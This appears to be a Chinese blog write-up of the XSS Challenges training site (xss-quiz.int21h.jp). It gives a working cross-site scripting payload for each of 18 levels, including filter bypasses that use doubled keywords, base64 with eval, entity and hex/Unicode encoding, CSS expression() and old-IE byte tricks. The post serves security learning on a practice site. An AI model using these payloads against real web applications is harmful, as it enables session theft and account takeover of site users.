XSS Challenges部分題目總結

https://xss-quiz.int21h.jp
1.沒有過濾的xss

<script>alert(document.domain);</script>

在這裏插入圖片描述

  1. 屬性中的xss
    設置獨一無二的字符串如:“yyy”,方便查找值在代碼中的結果

在這裏插入圖片描述

"><script>alert(document.domain);</script>

在這裏插入圖片描述
3. 選擇列表中的xss

<script>alert(document.domain);</script>

在這裏插入圖片描述
4.隱藏參數中的xss

"><svg onload=alert(document.domain)>=%0a

在這裏插入圖片描述

5.限制輸入長度

<script>alert(document.domain);</script>

在這裏插入圖片描述

6.HTML事件中的xss

onmouseover="alert(document.domain)"

在這裏插入圖片描述

7.空格分隔屬性中的xss
1111 1111=111
在這裏插入圖片描述

onmouseover=alert(document.domain)

在這裏插入圖片描述

8.JavaScript僞協議觸發xss

javascript:alert(document.domain);

在這裏插入圖片描述

  1. UTF-7 編碼的xxs
onclick="alert(document.domain)"

在這裏插入圖片描述

10.繞過過濾domain爲空的xss
輸入<script>alert(document.domain);</script>,查看代碼發現過濾domain
在這裏插入圖片描述
-雙寫繞過

"><script>alert(document.ddomainomain);</script>

在這裏插入圖片描述
-編碼繞過

"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

在這裏插入圖片描述

11.繞過替換script和on事件的xss
輸入<script>alert(document.domain);</script>,結果將 “script”替換“xscript”
在這裏插入圖片描述
-僞協議+&#09不可見字符繞過

"><a href="javas&#09cript:alert(document.domain);">here</a>

在這裏插入圖片描述

-僞協議+字符轉爲unicode編碼繞過

"><a href="java&#115;cript:alert(document.domain);">here</a>

在這裏插入圖片描述
12.利用IE特性(反引號``閉合左邊雙引號)繞過xss過濾

``onmousemove=alert(document.domain)

在這裏插入圖片描述
13.利用css特性繞過xss過濾(低版本IE)

backgroud-color:#f00;background:url("javascript:alert(document.domain);");

在這裏插入圖片描述
14. 利用css特性繞過xss過濾(低版本IE)
這裏過濾了expression,url,eval,script,但是通過加入註釋符可繞過:

here:expre/**/ssion(onmouseover=function(){alert(document.domain)}

或者:

here:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1)); 

在這裏插入圖片描述

15.十六進制繞過過濾觸發xss
輸入asd<script>alert(document.domain);</script>,查看代碼發現第二處過濾“/”

在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

在這裏插入圖片描述
16. Unicode編碼繞過過濾觸發xss

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

在這裏插入圖片描述
17. 利用特殊字節喫掉雙引號繞過xss(低版本IE)

p1=1%A7&p2=+onmousemove%3Dalert%28document.domain%29%3B+%A7

在這裏插入圖片描述

18瀏覽器解析錯誤(低版本IE)
把一些8位的字符直接解釋成7位ascii
"><script>alert(document.domain)</scirpt> 就轉換
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE(已經修復)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章